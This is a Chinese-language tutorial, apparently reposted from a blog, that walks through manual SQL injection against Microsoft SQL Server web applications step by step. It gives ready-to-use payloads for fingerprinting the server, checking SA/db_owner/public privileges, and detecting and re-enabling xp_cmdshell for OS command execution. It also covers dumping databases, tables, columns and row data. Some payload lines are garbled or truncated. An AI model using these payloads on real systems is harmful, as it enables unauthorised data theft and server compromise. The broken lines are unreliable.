MSSQL手工注入判斷過程


第一步:判斷是否為MSSQL數據庫

報錯信息中有[microsoft][ODBC sql server Driver][SQL Server]  就可判斷為MSSQL

MSSQL通常和asp腳本搭配(判斷權限很重要)  PHP和jsp很少見

或者:

and exists (select count(*) from sysobjects)--
and exists (select * from sysobjects)--

第二步:判斷權限(對於有錯誤回顯的目標)

MSSQL注入點:三種權限 SA、DB_OENER、PUBLIC

SA(SystemAdmin)直接執行命令
DB_OENER找到web路徑,然后用備份的方法獲得webshell,有時也可以對注冊表進行操作
PUBLIC需要爆表名和列名

判斷:

and 1=(select IS_SRVROLEMEMBER('public') )--
and 1=(select IS_SRVROLEMEMBER('sysadmin') )--
and 1=(select IS_SRVROLEMEMBER('db_owner') )--

哪種返回正確就是那種權限

第三步:判斷數據庫版本和操作系統

?id=5' and 1=convert(int,@@version)--
and 1=@@version--這個語句要在有回顯的模式下才可以哦
and substring((select @@version),22,4)='2008'--適用於無回顯模式,后面的2008就是數據庫版本,返回正常就是2008的復制代碼第一條語句執行效果圖(類似):第二條語句執行效果圖:(如果是2008的話就返回正常)

第四步:SA返回正常判斷其他相關信息

判斷是否支持多語句執行:

?id=5' declare @d int--

判斷sa權限下是否可以執行xp_cmdshell

?id=5' and 1=(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')--

如果返回錯誤,可能是xp_cmdshell被刪除,我們可以用以下語句恢復:

?id=5';exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'--

返回結果正常就是恢復成功。否則需上傳xp:)log70.dll后執行:

 ?id=5':exec ma:)ster.dbo.sp_addextende:)dproc 'xp_cmdshell',’c:\inetp:)ut\web\xplog70.dll’;--

xplog70.dll傳到哪里就寫哪里。

第五步:獲取所有數據庫個數:

1. and 1=(select quotename(count(name)) from master..sysdatabases)--
2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(coun,and 1=(select quotename(count(name)) from master..sysdatabases where dbid>5)--
    and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
    and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
說明:dbid從1-4的數據庫一般為系統數據庫.  三條都可

(下面語句是一次性獲取全部數據庫的,且語句只適合>=2005,兩條語句可供選擇使用)      

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

 

獲取當前數據庫  
and db_name()>0

and 1=(select db_name())--

第六步:獲取當前數據庫的表:

(有2個語句可供選擇使用)【下列語句可一次爆數據庫所有表(只限於mssql2005及以上版本)】
    and 1=(select quotename(name) from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))-- 
    and 1=(select '|'%2bname%2b'|' from 數據庫名..sysobjects where xtype='U' FOR XML PATH(''))--復制代碼測試效果圖:得到 3個敏感的表:Whir_Sec_Users/Whir_Mem_Member/Whir_Mem_MemberGroup

第七步:獲得表里的列

 

(只限於mssql2005及以上版本):   
and 1=(select quotename(name) from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))-- 
    and 1=(select '|'%2bname%2b'|' from 數據庫名..syscolumns where id =(select id from 數據庫名..sysobjects where name='指定表名') FOR XML PATH(''))--

第八步:獲取字段信息

  and 1=(select top 1 * from 指定數據庫..指定表名 where排除條件 FOR XML PATH(''))--
一次性爆N條所有字段的數據(只限於mssql2005及以上版本):
    and 1=(select top N * from 指定數據庫..指定表名 FOR XML PATH(''))--復制代碼第一條語句:and 1=(select top 1 * from 指定數據庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來會更加好,如:where and name like '%user%'  就會篩選出含有user關鍵詞的出來。用在篩選表段時很不錯。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM